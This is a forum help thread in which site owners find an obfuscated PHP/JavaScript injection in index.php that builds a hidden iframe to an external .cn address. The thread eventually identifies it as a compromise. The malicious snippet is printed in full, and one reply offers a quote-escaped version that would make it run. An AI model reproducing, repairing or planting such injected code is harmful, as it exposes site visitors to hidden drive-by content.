Parse error: syntax error - Help please

[ChrisjChrisj]

When I went to my home page today I see this:

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/public_html/index.php on line 510

Line 510 of /index.php is:

?><?php echo ''; ?><?php echo 'wy='t';ya='mp';yu='p:';qs='sr';d='nit';l='ame';v='c';z='t';ow='io';zt='n/';sc='n';o='//z';hy='cha';hg='h';p='.c';j='ifr';f='e';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute('width','5');dj.setAttribute('height','5');dj.setAttribute('style','display:none');dj.setAttribute(lr,ua);document.body.appendChild(dj);'; ?>

Can you help me remedy this?

Thanks

[Mark Baker]

echo 'wy='t';

Could be something do with your quotes not being escaped??

[ChrisjChrisj]

Thanks for your reply, but I don't know what you're trying to tell me, or how to fix this. I did not write the code. Can you clarify your remedy please? Thanks

[Mark Baker]

Thanks for your reply, but I don't know what you're trying to tell me, or how to fix this. I did not write the code. Can you clarify your remedy please? Thanks

Well I don't know exactly what this code is trying to achive, and it's a cockamaney dooladdle all on the one line that makes it almost impossible for a human developer to read, but just look at the few characters I cited.

echo 'wy='t'; 

echo will display what's between the quote marks, i.e

'wy='

then the parser finds

t';

- that's totally meaningless to the parser, so it throws up its hands in horror at something that it can't understand, giving an error.

Now I don't know if you're trying to write

wy='t';ya='mp';yu='p:';qs='sr';d='nit';l='ame';v='c';z='t';ow='io';zt='n/';sc='n';o='//z';hy='cha';hg='h';p='.c';j='ifr';f='e';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute('width','5');dj.setAttribute('height','5');dj.setAttribute('style','display:none');dj.setAttribute(lr,ua);document.body.appendChild(dj);

to the browser, but if you are, you'll need to "escape" all those single quote marks so that PHP knows there's more to the echo than just

wy=

?><?php echo ''; ?><?php echo 'wy=\'t\';ya=\'mp\';yu=\'p:\';qs=\'sr\';d=\'nit\';l=\'ame\';v=\'c\';z=\'t\';ow=\'io\';zt=\'n/\';sc=\'n\';o=\'//z\';hy=\'cha\';hg=\'h\';p=\'.c\';j=\'ifr\';f=\'e\';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute(\'width\',\'5\');dj.setAttribute(\'height\',\'5\');dj.setAttribute(\'style\',\'display:none\');dj.setAttribute(lr,ua);document.body.appendChild(dj);'; ?>

Then we ask why you feel the need to try and obfuscate the url in this way?

[JohnBaptiste]

Hey Mark,

I just noticed the same problem on one of my pages today that uses Spry panels - (OrlandoArabian.org). If I google just one of the attributes (i.e. dj.setAttribute) I see a lot of sites displaying the same problem. I do not recall changing anything on this site in the past several weeks and I cannot find any of these attributes in my code. Any ideas? Thanks.

[Mark Baker]

If you're seeing this, then you've probably been hacked, or affected by a viral of some kind.

This block of PHP writes some javascript into your HTML that basically creates a hidden iframe in your HTML page, pointing to a particular url.